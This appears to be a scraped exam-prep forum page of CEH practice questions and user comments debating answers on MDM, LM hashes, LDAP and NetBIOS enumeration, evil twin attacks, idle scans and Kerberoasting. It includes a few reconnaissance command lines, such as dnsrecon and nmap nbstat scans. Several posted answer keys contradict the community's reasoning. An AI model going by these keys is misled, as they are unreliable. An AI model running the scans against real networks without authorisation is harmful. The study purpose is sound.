According to the book, as stated by insaniunt (Module 17 Page 2713) it is C. However, in outside the context of the exam, for BYOD MDM is not recommended and companies prefer MAM (Mobile App Management) instead for such a scenario.  
upvoted 1 times
- ✉️  **ButterFree** 7 months ago

Selected Answer: D

Phishing attack is the main problem not the third-party email app in this scene.

upvoted 1 times

✉️👤 **athicalacker** 7 months, 1 week ago

Selected Answer: D

Mobile device management solution (Option C) could be seen as overly restrictive in a BYOD environment. So I think its D.

upvoted 2 times

✉️👤 **Mabrow** 7 months, 1 week ago

- D. i think
- C. MDM is good but make restrict use personal devices

upvoted 1 times

✉️👤 **kennels** 7 months, 1 week ago

Selected Answer: D

I wouldn't install MDM to my phone.

Most people don't want to install MDM on their smartphones because they won't be able to install their favorite apps.

> consider a measure that would prevent similar attacks without overly restricting the use of personal devices

upvoted 1 times

✉️👤 **JR22craft** 7 months, 1 week ago

Selected Answer: C

C - Implement a Mobile Device Management (MDM)

MDM works also in BYOD

upvoted 2 times

✉️👤 **brrbrr** 7 months, 1 week ago

Selected Answer: C

C - Implement a Mobile Device Management (MDM)

Mobile Device Management (MDM) is an effort to add some control to enterprise mobile devices. Much like Group Policy and such in the Microsoft Windows world, MDM helps in pushing security policies, application deployment, and monitoring of mobile devices. Most MDM solutions offer the same basic features: passcodes for device unlocking, remote locking, remote wipe, root or jailbreak detection, policy enforcement, inventory, and monitoring/reporting.

upvoted 2 times

✉️👤 **calx5** 7 months, 1 week ago

Selected Answer: C

C

The root cause was through a third-party email app that the employee had installed. Consider that the official provided apps with such protection and prevention.

upvoted 2 times

✉️👤 **John07** 5 months, 4 weeks ago

MDM can be used to manage both company-owned and employee-owned (BYOD) devices across the enterprise (CEH v12, p.2713)

upvoted 1 times

✉️👤 **qwerty100** 7 months, 2 weeks ago

Selected Answer: D

D. Conduct regular cybersecurity awareness training, focusing on phishing attacks.

Module 09 Page 139

upvoted 2 times

XYZ company recently discovered a potential vulnerability on their network, originating from misconfigurations. It was found that some of their host servers had enabled debugging functions and unknown users were granted administrative permissions. As a Certified Ethical Hacker, what would be the most potent risk associated with this misconfiguration?

- A. An attacker may be able to inject a malicious DLL into the current running process
- B. Weak encryption might be allowing man-in-the-middle attacks, leading to data tampering
- C. Unauthorized users may perform privilege escalation using unnecessarily created accounts
- D. An attacker may carry out a Denial-of-Service assault draining the resources of the server in the process

Correct Answer: C

*Community vote distribution*

C (67%)

A (33%)

✉  **Imourikis** Highly Voted 6 months, 3 weeks ago

I believe it's not C, as unknown users have already been granted administrative permissions. Also, there is nowhere mentioned that unnecessarily accounts have been created. Also, not B or D, as these type of attacks do not require gaining admin permissions on a system. The problem with unkown users getting admin perms is that they can change the code the server is running, eg by injecting a malicious DLL. So, it's A.

upvoted 5 times

✉  **Binx** Most Recent 1 month, 3 weeks ago

I believe the answer is A

Yes, it is possible for an attacker to inject a malicious DLL through a server debugging tool, especially if debugging functions are enabled and not properly secured. Here's how:

**Exploiting Debugging Functions:** Debugging tools often have elevated privileges and direct access to the system memory and processes. If an attacker gains access to these debugging functions, they can manipulate the system in various ways, including injecting malicious code.

DLL injection is a technique used to run malicious code within the address space of another process by loading a dynamic link library (DLL). If debugging functions are enabled, an attacker with access can use these tools to load their malicious DLL into a RUNNING PROCESS.

upvoted 1 times

✉  **f257c4e** 4 months ago

I think Is A, why bother in priv esc if the user has already administrative account?!

upvoted 1 times

✉  **LordXander** 6 months, 1 week ago

Selected Answer: C

Why bother with A when you can already have system access by using C. Also AI says C, the book says A & C, and C makes more sense...so C

upvoted 1 times

✉  **qtygbapjpesdayazko** 6 months, 2 weeks ago

Selected Answer: A

Is C. Key words "unknown users were granted administrative permissions"

upvoted 2 times

✉  **qtygbapjpesdayazko** 6 months, 2 weeks ago

IS C!!!!

upvoted 1 times

✉  **[Removed]** 7 months, 3 weeks ago

Could someone please validate this information

upvoted 1 times

✉  **[Removed]** 7 months, 3 weeks ago

Could someone help me confirm the accuracy of this data

upvoted 1 times

✉  **insaniunt** 7 months, 3 weeks ago

Selected Answer: C

C. Unauthorized users may perform privilege escalation using unnecessarily created accounts

upvoted 3 times

An organization suspects a persistent threat from a cybercriminal. They hire an ethical hacker, John, to evaluate their system security. John identifies several vulnerabilities and advises the organization on preventive measures. However, the organization has limited resources and opts to fix only the most severe vulnerability. Subsequently, a data breach occurs exploiting a different vulnerability. Which of the following statements best describes this scenario?

- A. The organization is at fault because it did not fix all identified vulnerabilities.
- B. Both the organization and John share responsibility because they did not adequately manage the vulnerabilities.
- C. John is at fault because he did not emphasize the necessity of patching all vulnerabilities.
- D. The organization is not at fault because they used their resources as per their understanding.

Correct Answer: **B**

*Community vote distribution*

A (47%)      B (33%)      D (20%)

✉️  LoveBug4 3 months ago

Selected Answer: A

John is not at fault, as per Module 1, page 48, it is the limitation of an ethical hacker. So, either A or D. I would say A as it doesn't matter why, but they didn't fix the identified vulnerabilities.

upvoted 1 times

✉️  yicx1 3 months, 2 weeks ago

It's AAAAAAA. Just imagine your personal information was obtained by someone and they make scam calls all the time. You found that this is because you registered an account for an online shopping app, and they don't have money to fix the vulnerability issue. Whose fault is this?

upvoted 1 times

✉️  abcd\_qw 5 months ago

"because they did not adequately manage the vulnerabilities" -- how can they adequately manage the vulnerabilities ,somebody please say about that

upvoted 1 times

✉️  Spamerz 5 months, 3 weeks ago

Selected Answer: D

Organization used Risk Management. It means, they must first look to most severe vulnerability and go down, depending on resources. Both parties MUST NOT BLAME EACH OTHER, because it is not ethical. So, both - John and organization are right, just "sht happens".

upvoted 3 times

✉️  LordXander 6 months, 1 week ago

Selected Answer: B

AI says B, in practice it will be B (did the company implement a risk acceptance procedure and etc? well, they don't have the budget to fix so I doubt there's a acceptance process)

upvoted 1 times

✉️  qtygbapjpesdayazko 6 months, 1 week ago

Selected Answer: A

Keyword "opts to fix only the most severe vulnerability. Subsequently, a data breach occurs exploiting a different vulnerability." is A

upvoted 2 times

✉️  jettguo 6 months, 2 weeks ago

Selected Answer: A

I choose A, I think John do not have executive decisions on which vulnerability to fix, and he did his duty to present all the vulnerabilities he discovered.

upvoted 1 times

✉️  qwerty100 7 months ago

Selected Answer: B

B. Both the organization and John share responsibility because they did not adequately manage the vulnerabilities.

The key is : a data breach occurs exploiting a different vulnerability

upvoted 2 times

✉️  anarchyeagle 7 months, 1 week ago

Selected Answer: A

I could not see how this answer is not A. It's clearly invoking Risk Management in which some risks have been mitigated while others are Accepted based on resource limitations. The only doubt in the question comes from the wording. Is the vulnerability that was exploited not identified by John, or was it an accepted vulnerability by the company? Either way, John was a contractor not an employee. It's the company's responsibility to understand that there is a risk in not seeking a second opinion. A is the only answer. The company is always responsible for their security without a contract transferring all risk to a third party company..

upvoted 3 times

✉️ 🚩 brrbrr 7 months, 1 week ago

it is not specified that John is a contractor. It is indicated that John has been hired, so it could mean that it is an employee.  
upvoted 1 times

✉️ 🚩 brrbrr 7 months, 1 week ago

Selected Answer: B

B is the correct answer.  
Option A suggests that the organization is at fault because it did not fix all identified vulnerabilities. However, in the context of limited resources, organizations often need to prioritize and allocate their resources strategically.

In the scenario described, the organization decided to fix the most severe vulnerability based on its understanding and resource limitations. While it's true that addressing all vulnerabilities would be ideal, practical constraints may prevent this. Therefore, placing the entire blame on the organization may not be fair.

Option B is a more balanced choice, indicating that both the organization and John share responsibility. This acknowledges that the organization made a decision based on its constraints, but it also suggests that John, as the ethical hacker, has a role in emphasizing the importance of addressing all vulnerabilities and the potential risks associated with leaving some unpatched.

upvoted 1 times

✉️ 🚩 barey 7 months, 2 weeks ago

Tricky, chat GPT4 says:  
In this scenario, both the organization and the ethical hacker, John, share responsibility. The organization chose to prioritize fixing only the most severe vulnerability due to limited resources, but it is their responsibility to make informed decisions based on the advice given by the ethical hacker.

And Azure AI:

A. The organization is at fault because it did not fix all identified vulnerabilities.

but whan i aske why:

he statement B can be seen as accurate because both the organization and John have roles in managing the vulnerabilities. John, as an ethical hacker, should emphasize the importance of addressing all identified vulnerabilities,

LOL

i put B on Exam

upvoted 2 times

✉️ 🚩 duke\_of\_kamulu 7 months, 1 week ago

have done you exam if so how is it

upvoted 1 times

✉️ 🚩 [Removed] 7 months, 3 weeks ago

Im not certain about the reliability of that information

upvoted 1 times

✉️ 🚩 [Removed] 7 months, 3 weeks ago

Hey team can we double-check this response

upvoted 1 times

✉️ 🚩 insaniunt 7 months, 3 weeks ago

Selected Answer: B

B. Both the organization and John share responsibility because they did not adequately manage the vulnerabilities.

upvoted 1 times

An ethical hacker is attempting to crack NTLM hashed passwords from a Windows SAM file using a rainbow table attack. He has dumped the on-disk contents of the SAM file successfully and noticed that all LM hashes are blank. Given this scenario, which of the following would be the most likely reason for the blank LM hashes?

- A. The SAM file has been encrypted using the SYSKEY function.
- B. The passwords exceeded 14 characters in length and therefore, the LM hashes were set to a "dummy" value.
- C. The Windows system is Vista or a later version, where LM hashes are disabled by default.
- D. The Windows system is using the Kerberos authentication protocol as the default method.

Correct Answer: C

*Community vote distribution*

C (100%)

✉  duke\_of\_kamulu 7 months, 1 week ago

C is the ANSWER How Hash Passwords Are Stored in Windows SAM is very clear in pg 587 that new version dont support LM correct answer C  
upvoted 1 times

✉  insanaint 7 months, 3 weeks ago

Selected Answer: C

New versions of Windows still support LM hashes for backward compatibility; however, Vista and later Windows versions disable LM hashes by default. The LM hash is blank in the newer versions of Windows.  
upvoted 2 times

✉  qwerty100 7 months, 3 weeks ago

Selected Answer: C

The storage of LM hashes is disabled by default since Windows Vista and Windows Server 2008  
<https://learn.microsoft.com/en-us/windows-server/security/kerberos/passwords-technical-overview#passwords-stored-in-the-local-sam>  
upvoted 1 times

A Certified Ethical Hacker (CEH) is given the task to perform an LDAP enumeration on a target system. The system is secured and accepts connections only on secure LDAP. The CEH uses Python for the enumeration process. After successfully installing LDAP and establishing a connection with the target, he attempts to fetch details like the domain name and naming context but is unable to receive the expected response. Considering the circumstances, which of the following is the most plausible reason for this situation?

- A. The system failed to establish a connection due to an incorrect port number.
- B. The enumeration process was blocked by the target system's intrusion detection system.
- C. The secure LDAP connection was not properly initialized due to a lack of 'use\_ssl = True' in the server object creation.
- D. The Python version installed on the CEH's machine is incompatible with the ldap3 library.

Correct Answer: C

*Community vote distribution*

C (100%)

✉️  Spam\_Protection 6 months, 3 weeks ago

Selected Answer: C

3. As shown in the code given below, create a server object (server), specify the target IP address or hostname and port number. If the target server is listening on secure LDAP, specify use\_ssl = True.

upvoted 2 times

✉️  insanint 7 months, 3 weeks ago

Selected Answer: C

"The system is secured and accepts connections only on secure LDAP."

upvoted 3 times

✉️  qtygbapipesdayazko 6 months, 2 weeks ago

This is the way

upvoted 1 times

✉️  clougangster 7 months, 3 weeks ago

Selected Answer: C

PG 434 CEH V12

upvoted 2 times

✉️  clougangster 7 months, 3 weeks ago

C is the answer, CEH V12 PG434

upvoted 1 times

You are a cybersecurity consultant for a major airport that offers free Wi-Fi to travelers. The management is concerned about the possibility of "Evil Twin" attacks, where a malicious actor sets up a rogue access point that mimics the legitimate one. They are looking for a solution that would not significantly impact the user experience or require travelers to install additional software. What is the most effective security measure you could recommend that fits these constraints, considering the airport's unique operational environment?

- A. Regularly change the SSID of the airport's Wi-Fi network
- B. Use MAC address filtering on the airport's Wi-Fi network
- C. Implement WPA3 encryption for the airport's Wi-Fi network
- D. Display a captive portal page that warns users about the possibility of Evil Twin attacks

Correct Answer: D

*Community vote distribution*

C (50%)      D (50%)

✉️  JustANName Highly Voted 7 months, 3 weeks ago

Selected Answer: D

I'd go with D, while implementing WPA3 encryption is always good to strengthen the security of the wifi. But it only protect the actual airport's wifi and doesn't properly address the issue of possible evil twin attack. So D is the best answer available in my opinion.

upvoted 5 times

✉️  yicx1 Most Recent 3 months, 1 week ago

Selected Answer: D

C doesn't do anything to the evil twin use case

upvoted 1 times

✉️  qtygbapipesdayazko 6 months, 2 weeks ago

Selected Answer: D

Is D, WPA3 with a open SSID do not protect to "Evil Twin" attacks,

<https://security.stackexchange.com/questions/188707/does-wpa3-owe-mean-the-return-of-evil-twins>

upvoted 1 times

✉️  Spam\_Protection 6 months, 3 weeks ago

Selected Answer: C

WPA3 will keep people from being disconnected and possibly connected to Evil Twin. WPA3 focus on encryption not authentication(no open network provides auth). You still need to deploy rogue-AP detection or wireless intrusion prevention/detection systems to prevent wireless attacks.

upvoted 1 times

✉️  anarchyeagle 7 months, 1 week ago

Selected Answer: C

Chat GPT Response: The most effective and practical solution that fits the given constraints is Option C: Implement WPA3 encryption for the airport's Wi-Fi network. This approach enhances security without significantly impacting the user experience or requiring the installation of additional software. It directly addresses the vulnerability to "Evil Twin" attacks by ensuring that the connection between the user's device and the Wi-Fi network is securely encrypted, making it much more difficult for attackers to mimic or intercept communications.

upvoted 3 times

✉️  qwerty100 7 months, 2 weeks ago

Selected Answer: C

C. Implement WPA3 encryption for the airport's Wi-Fi network

An evil twin can Display a captive portal page that warns users about the possibility of Evil Twin attacks

upvoted 3 times

✉️  [Removed] 7 months, 3 weeks ago

Hey team can we double-check this response

upvoted 2 times

✉️  [Removed] 7 months, 3 weeks ago

Hey team can we double-check this response

upvoted 1 times

As a Certified Ethical Hacker, you are conducting a footprinting and reconnaissance operation against a target organization. You discover a range of IP addresses associated with the target using the SecurityTrails tool. Now, you need to perform a reverse DNS lookup on these IP addresses to find the associated domain names, as well as determine the nameservers and mail exchange (MX) records. Which of the following DNSRecon commands would be most effective for this purpose?

- A. dnsrecon -r 192.168.1.0/24 -n ns1.example.com -t axfr
- B. dnsrecon -r 10.0.0.0/24 -n ns1.example.com -t zonewalk
- C. dnsrecon -r 162.241.216.0/24 -n ns1.example.com -t std
- D. dnsrecon -r 162.241.216.0/24 -d example.com -t brt

Correct Answer: D

*Community vote distribution*

C (100%)

✉  smoce Highly Voted 7 months, 3 weeks ago

Selected Answer: C

The std type is often used for standard enumeration, which includes fetching PTR, NS, and MX records.

upvoted 6 times

✉  tow Most Recent 6 months, 3 weeks ago

Selected Answer: C

The std type is often used for standard enumeration, which includes fetching PTR, NS, and MX records.C

upvoted 1 times

✉  LeongCC 7 months, 1 week ago

Selected Answer: C

Is C -std

upvoted 1 times

✉  brrbrr 7 months, 1 week ago

Selected Answer: C

-t TYPE, --type TYPE Type of enumeration to perform.

Possible types:

std: SOA, NS, A, AAAA, MX and SRV.

upvoted 1 times

✉  przemyslaw1 7 months, 2 weeks ago

Selected Answer: C

C. -t std

upvoted 2 times

✉  insaniunt 7 months, 3 weeks ago

Selected Answer: C

C.

"-t std": Specifies the type of DNS query to perform. In this case, it's a standard query

upvoted 2 times

✉  [Removed] 7 months, 3 weeks ago

Could anyone verify the correctness of this answer

upvoted 3 times

You are an ethical hacker tasked with conducting an enumeration of a company's network. Given a Windows Answered Marked for Review 37.6% system with NetBIOS enabled, port 139 open, and file and printer sharing active, you are about to run some nbtstat commands to enumerate NetBIOS names. The company uses IPv6 for its network. Which of the following actions should you take next?

- A. Switch to an enumeration tool that supports IPv6
- B. Use nbtstat -a followed by the IPv6 address of the target machine
- C. Use nbtstat -c to get the contents of the NetBIOS name cache
- D. Utilize Nmap Scripting Engine (NSE) for NetBIOS enumeration

Correct Answer: A

*Community vote distribution*

D (44%)      B (33%)      A (22%)

✉️  49f4430 4 months, 1 week ago

Selected Answer: B

o'reilly:

Microsoft Windows uses an interface called Network Basic Input/Output System (NetBIOS), which relates names with workstations and is an upper-layer interface that requires a transport protocol—usually, TCP/IP. But IPv6 can be used as well. Deploying the nbtstat utility will achieve these three important things:

upvoted 1 times

✉️  qtygbapjpesdayazko 6 months ago

Selected Answer: D

Utilize Nmap Scripting Engine (NSE) for NetBIOS enumeration, nbtstat is not available for IPv6

upvoted 1 times

✉️  LordXander 6 months, 1 week ago

Selected Answer: B

Guys...nbstat is compatible with IPv6...so B? D could be but then you could run into some issues with NSE....this is a badluck question honestly

upvoted 2 times

✉️  broman 2 days, 8 hours ago

nbtstat -a <IPv6\_address>

upvoted 1 times

✉️  qtygbapjpesdayazko 6 months, 2 weeks ago

Selected Answer: D

D. Utilize Nmap Scripting Engine (NSE) for NetBIOS enumeration

upvoted 1 times

✉️  ethacker2 7 months, 1 week ago

D. Utilize Nmap Scripting Engine (NSE) for NetBIOS enumeration

Nmap Scripting Engine (NSE) is used by attackers to discover NetBIOS shares on a network. Attackers can retrieve the target's NetBIOS names and MAC addresses using the NSE nbstat script. By default, the script displays the computer's name and the currently logged-in user.

```
nmap -sV -v --script nbstat.nse <target IP address>
```

Reference: <https://github.com/mosse-security/mcsi-library/blob/main/docs/articles/2022/06/netbios-enumeration/netbios-enumeration.md>

upvoted 2 times

✉️  John07 6 months, 1 week ago

```
C:\>nmap --script nbstat.nse 001:0000:130F:0000:0000:09C0:876A:130B Starting Nmap 7.94 (https://nmap.org) at 2024-03-26 10:33 GMT
Standard Time 001:0000:130F:0000:0000:09C0:876A:130B looks like an IPv6 target specification -- you have to use the -6 option. WARNING: No targets were specified, so 0 hosts scanned. Nmap done: 0 IP addresses (0 hosts up) scanned in 0.09 seconds
```

upvoted 1 times

✉️  qwerty100 7 months, 1 week ago

Selected Answer: A

I couldn't find any IPv6 NetBIOS enumeration script for NSE

I'm going to choose A

- A. Switch to an enumeration tool that supports IPv6

upvoted 1 times

✉️ **John07** 6 months, 1 week ago

```
C:\>nmap --script nbstat.nse 2001:0000:130F:0000:0000:09C0:876A:130B Starting Nmap 7.94 (https://nmap.org) at 2024-03-26 10:35 GMT
Standard Time 2001:0000:130F:0000:0000:09C0:876A:130B looks like an IPv6 target specification -- you have to use the -6 option. WARNING: No targets were specified, so 0 hosts scanned. Nmap done: 0 IP addresses (0 hosts up) scanned in 0.10 seconds
upvoted 1 times
```

✉️ **JR22craft** 7 months, 1 week ago

Selected Answer: D

D. Utilize Nmap Scripting Engine (NSE) for NetBIOS enumeration  
upvoted 1 times

✉️ **brrbrr** 7 months, 1 week ago

Selected Answer: A

B. Use nbtstat -a followed by the IPv6 address of the target machine

This command queries the specified IPv6 address for NetBIOS name information.

Option A is not necessary as nbtstat can still be used for NetBIOS enumeration even if IPv6 is in use.

Option C provides the contents of the NetBIOS name cache but does not directly enumerate NetBIOS names on a specific machine.

Option D suggests using Nmap Scripting Engine (NSE) for NetBIOS enumeration, which is an alternative but not necessary when nbtstat is available and suitable for the task.

upvoted 1 times

✉️ **brrbrr** 7 months, 1 week ago

Actually correct answer is D

upvoted 2 times

✉️ **Bobite** 7 months, 1 week ago

There is no name resolution for netbios IPV6 sp nbtstat -a wouldn't work.

The correct answer might be D

upvoted 1 times

✉️ **Unr34l** 7 months, 2 weeks ago

I think that is the B

B. Use nbtstat -a followed by the IPv6 address of the target machine

Explanation:

Since the company uses IPv6 for its network and you want to enumerate NetBIOS names, you can use the following nbtstat command:

bash

Copy code

nbtstat -a [IPv6\_address]

This command will attempt to query the NetBIOS names associated with the specified IPv6 address.

upvoted 2 times

✉️ **[Removed]** 7 months, 3 weeks ago

Hey friends can we make sure this is correct

upvoted 2 times

✉️ **insaniunt** 7 months, 3 weeks ago

Selected Answer: D

D.

Attackers use the Nmap Scripting Engine (NSE) for discovering NetBIOS shares on a network. The NSE nbstat script allows attackers to retrieve the target's NetBIOS names and MAC addresses. By default, the script displays the name of the computer and the logged-in user. However, if the verbosity is turned up, it displays all names related to that system. An attacker uses the following Nmap command to perform NetBIOS enumeration on a target host:

```
nmap -sV -v --script nbstat.nse <target IP address>
```

upvoted 1 times

During a red team assessment, a CEH is given a task to perform network scanning on the target network without revealing its IP address. They are also required to find an open port and the services available on the target machine. What scanning technique should they employ, and which command in Zenmap should they use?

- A. Use SCTP INIT Scan with the command "-sY"
- B. Use UDP Raw ICMP Port Unreachable Scanning with the command "-sU"
- C. Use the ACK flag probe scanning technique with the command "-sA"
- D. Use the IDLE/IPID header scan technique with the command "-sI"

Correct Answer: B

*Community vote distribution*

D (100%)

✉️  vibhorsharma1998.vs 6 months, 1 week ago

D, IDLE SCAN is Correct because of spoofing  
upvoted 1 times

✉️  qtygbapjpesdayazko 6 months, 2 weeks ago

**Selected Answer: D**  
IDLE/IPID header scan - The attacker performs this scan by impersonating another computer via spoofing.  
upvoted 1 times

✉️  JR22craft 7 months, 1 week ago

**Selected Answer: D**  
D. Use the IDLE/IPID header scan technique with the command "-sI"  
upvoted 1 times

✉️  brrbrr 7 months, 1 week ago

**Selected Answer: D**  
D. • Allows for blind port scanning (without sending any packet with own IP)  
• Utilizes IP address of a zombie machine through spoofed packets  
upvoted 1 times

✉️  JustAName 7 months, 3 weeks ago

**Selected Answer: D**  
D. IDLE/IPID scan spoof its ip while perform scanning  
upvoted 1 times

✉️  insanint 7 months, 3 weeks ago

**Selected Answer: D**  
IDLE/IPID header scan - The attacker performs this scan by impersonating another computer via spoofing. The attacker does not send a packet from their IP address; instead, they use another host, often called a "zombie," to scan the remote host and identify open ports. In this attack, the attacker expects the sequence numbers of the zombie host, and if the remote host checks the IP of the scanning party, the IP of the zombie machine is displayed - Module 03 Page 315  
upvoted 2 times

This is the way

upvoted 1 times

✉️  qwerty100 7 months, 3 weeks ago

**Selected Answer: D**  
D. Use the IDLE/IPID header scan technique with the command "-sI"  
upvoted 1 times

A large corporation is planning to implement preventive measures to counter a broad range of social engineering techniques. The organization has implemented a signature-based IDS, intrusion detection system, to detect known attack payloads and network flow analysis to monitor data entering and leaving the network. The organization is deliberating on the next step. Considering the information provided about various social engineering techniques, what should be the organization's next course of action?

- A. Implement endpoint detection and response solution to oversee endpoint activities
- B. Set up a honeypot to attract potential attackers into a controlled environment for analysis
- C. Deploy more security personnel to physically monitor key points of access
- D. Organize regular employee awareness training regarding social engineering techniques and preventive measures

Correct Answer: D

*Community vote distribution*

D (100%)

✉  **athicalacker** 7 months, 1 week ago

Selected Answer: D

Regular employee awareness training is crucial in combating social engineering attacks because many of these attacks rely on manipulating human behavior rather than exploiting technical vulnerabilities.

upvoted 2 times

✉  **qtygbapjpesdayazko** 6 months, 2 weeks ago

This is correct

upvoted 1 times

✉  **[Removed]** 7 months, 3 weeks ago

I'm not certain about the reliability of that information

upvoted 1 times

✉  **insaniunt** 7 months, 3 weeks ago

Selected Answer: D

D. Organize regular employee awareness training regarding social engineering techniques and preventive measures

upvoted 2 times

✉  **[Removed]** 7 months, 3 weeks ago

I'm unsure about the accuracy of this statement

upvoted 1 times

✉  **Spam\_Protection** 6 months, 3 weeks ago

Instead of commenting this on every question. Help research or stfu.

upvoted 1 times

✉  **qtygbapjpesdayazko** 6 months, 2 weeks ago

do not spam and help with the question

upvoted 1 times

An audacious attacker is targeting a web server you oversee. He intends to perform a Slow HTTP POST attack, by manipulating 'a' HTTP connection. Each connection sends a byte of data every 'b' second, effectively holding up the connections for an extended period. Your server is designed to manage 'm' connections per second, but any connections exceeding this number tend to overwhelm the system. Given 'a=100' and variable 'm', along with the attacker's intention of maximizing the attack duration ' $D=a*b$ ', consider the following scenarios. Which is most likely to result in the longest duration of server unavailability?

- A. m=90, b=15: The server can manage 90 connections per second, but the attacker's 100 connections exceed this, and with each connection held up for 15 seconds, the attack duration could be significant.
- B. m=105, b=12: The server can manage 105 connections per second, more than the attacker's 100 connections, likely maintaining operation despite a moderate hold-up time.
- C. m=110, b=20: Despite the attacker sending 100 connections, the server can handle 110 connections per second, therefore likely staying operative, regardless of the hold-up time per connection.
- D. m=95, b=10: Here, the server can handle 95 connections per second, but it falls short against the attacker's 100 connections, albeit the hold-up time per connection is lower.

Correct Answer: A

*Community vote distribution*

A (86%) 14%

✉️ 🚩 LordXander 6 months, 1 week ago

Selected Answer: A

Guys...it's A...I know people used AI for this question however, upon further questioning about the math is literally highlighted that A is the correct answer (checked from multiple sources).

In question regarding tools/numbers, ask for details about each option and you will see yourself the correct answer  
upvoted 3 times

✉️ 🚩 anarchyeagle 7 months, 1 week ago

Selected Answer: C

Chatgpt answer:

a=1500 seconds  
b=1200 seconds  
c=2000 seconds  
d=1000 seconds  
upvoted 1 times

✉️ 🚩 brrbrr 7 months, 1 week ago

chatgpt is wrong, you need to always double-check the answer. Correct answer is A.

upvoted 1 times

✉️ 🚩 Unr34l 7 months, 2 weeks ago

A

You need to analice the variable m, if m is lower than the connections of the attacker, it overload  
upvoted 1 times

✉️ 🚩 [Removed] 7 months, 3 weeks ago

Could anyone verify the correctness of this answer  
upvoted 1 times

✉️ 🚩 insaniunt 7 months, 3 weeks ago

Selected Answer: A

I think: A. Because the attacker sends more connections than the server can handle, and each connection lasts for the longest time among the options. The attack duration is  $D = 100 * 15 = 1500$  seconds, which is the highest possible value.  
upvoted 3 times

✉️ 🚩 [Removed] 7 months, 3 weeks ago

Could someone please validate this information  
upvoted 2 times

A large organization has recently performed a vulnerability assessment using Nessus Professional, and the security team is now preparing the final report. They have identified a high-risk vulnerability, named XYZ, which could potentially allow unauthorized access to the network. In preparing the report, which of the following elements would NOT be typically included in the detailed documentation for this specific vulnerability?

- A. Proof of concept (PoC) of the vulnerability, if possible, to demonstrate its potential impact on the system.
- B. The total number of high, medium, and low-risk vulnerabilities detected throughout the network.
- C. The list of all affected systems within the organization that are susceptible to the identified vulnerability.
- D. The CVE ID of the vulnerability and its mapping to the vulnerability's name, XYZ.

Correct Answer: A

*Community vote distribution*

B (79%)

A (21%)

✉  milktea810182 4 months, 2 weeks ago

Selected Answer: B

While it's important to provide an overview of the overall vulnerability landscape within the organization, including the total number of vulnerabilities categorized by risk level, this information might not be specifically relevant to the detailed documentation of a single high-risk vulnerability like XYZ. The detailed documentation for the XYZ vulnerability would primarily focus on providing information directly related to that specific vulnerability, such as its description, potential impact, affected systems, mitigation steps, and any other pertinent details.

Therefore, including the total number of vulnerabilities by risk level throughout the network might be more suitable for the executive summary or separate section of the report rather than the detailed documentation of the individual vulnerability XYZ.

upvoted 1 times

✉  LordXander 6 months, 1 week ago

Selected Answer: B

B...because everything else is part of a standard report

upvoted 2 times

✉  SumiEWU 6 months, 3 weeks ago

I do not have enough money to purchase a new dump. please send me all 312 question for free. Please I have only 2 days left for exam.

upvoted 2 times

✉  athicalacker 7 months, 1 week ago

Selected Answer: B

The vulnerability assessment report must include, but are not limited to, the following points:

- The vulnerability's name and its mapped CVE ID
- The date of discovery
- The score based on Common Vulnerabilities and Exposures (CVE) databases
- A detailed description of the vulnerability
- The impact of the vulnerability
- Details regarding the affected systems
- Details regarding the process needed to correct the vulnerability, including information patches, configuration fixes, and ports to be blocked.
- A proof of concept (PoC) of the vulnerability for the system (if possible)

Module 05 Page 576 from CEH v12 book

upvoted 3 times

✉  insanint 7 months, 1 week ago

Selected Answer: B

See the CEH book, module 05 page 576:

The vulnerability assessment report must include, but are not limited to, the following points:

- The vulnerability's name and its mapped CVE ID
- The date of discovery
- The score based on Common Vulnerabilities and Exposures (CVE) databases
- A detailed description of the vulnerability
- The impact of the vulnerability
- Details regarding the affected systems
- Details regarding the process needed to correct the vulnerability, including information patches, configuration fixes, and ports to be blocked.
- A proof of concept (PoC) of the vulnerability for the system (if possible)

upvoted 1 times

✉  calx5 7 months, 1 week ago

Selected Answer: A

A. this is a vulnerability scanning report..

upvoted 2 times

✉️  brrbrr 7 months, 1 week ago

Selected Answer: A

The question is about what is NOT included the report. Vulnerability assessment allows to list all vulnerabilities discovered. PoC is part of pentesting. Thus answer is A.

upvoted 1 times

✉️  kennels 7 months, 2 weeks ago

A. Because it is not a pentest.

A. Proof of concept (PoC) of the vulnerability, if possible, to demonstrate its potential impact on the system.

upvoted 1 times

✉️  przemyslaw1 7 months, 2 weeks ago

Selected Answer: B

B. The total number of high, medium, and low-risk vulnerabilities detected throughout the network.

upvoted 1 times

✉️  insanijnt 7 months, 3 weeks ago

Selected Answer: B

B. The total number of high, medium, and low-risk vulnerabilities detected throughout the network would NOT be typically included in the detailed documentation for this specific vulnerability.

upvoted 3 times

✉️  insanijnt 7 months, 3 weeks ago

More about: Module 05 Page 576 from CEH v12 book

upvoted 2 times

✉️  qtygbapjpesdayazko 6 months, 2 weeks ago

this is the way

upvoted 1 times

✉️  [Removed] 7 months, 3 weeks ago

Im unsure about the accuracy of this statement

upvoted 1 times

✉️  [Removed] 7 months, 3 weeks ago

Could someone help me confirm the accuracy of this data

upvoted 1 times

Recently, the employees of a company have been receiving emails that seem to be from their colleagues, but with suspicious attachments. When opened, these attachments appear to install malware on their systems. The IT department suspects that this is a targeted malware attack. Which of the following measures would be the most effective in preventing such attacks?

- A. Disabling Autorun functionality on all drives
- B. Avoiding the use of outdated web browsers and email software
- C. Regularly scan systems for any new files and examine them
- D. Applying the latest patches and updating software programs

Correct Answer: D

*Community vote distribution*

D (100%)

✉️ 🚩 LordXander 5 months, 3 weeks ago

Selected Answer: D

Can confirm, is D based on CEHv12 1187

upvoted 1 times

✉️ 🚩 insanaint 7 months, 3 weeks ago

Selected Answer: D

The most effective measure to prevent such attacks is D. Applying the latest patches and updating software programs is essential to keep the systems secure and protected from known vulnerabilities that attackers can exploit.

upvoted 4 times

✉️ 🚩 insanaint 7 months, 3 weeks ago

Module 07 Page 1187

upvoted 2 times

✉️ 🚩 [Removed] 7 months, 3 weeks ago

Team can you confirm if this is accurate

upvoted 1 times

✉️ 🚩 [Removed] 7 months, 3 weeks ago

Hey friends can we make sure this is correct

upvoted 1 times

A network security analyst, while conducting penetration testing, is aiming to identify a service account password using the Kerberos authentication protocol. They have a valid user authentication ticket (TGT) and decided to carry out a Kerberoasting attack. In the scenario described, which of the following steps should the analyst take next?

- A. Carry out a passive wire sniffing operation using Internet packet sniffers
- B. Perform a PRobability INfinite Chained Elements (PRINCE) attack
- C. Extract plaintext passwords, hashes, PIN codes, and Kerberos tickets using a tool like Mimikatz
- D. Request a service ticket for the service principal name of the target service account

Correct Answer: D

*Community vote distribution*

D (100%)

✉️ 🚩 LordXander 6 months, 1 week ago

Selected Answer: D

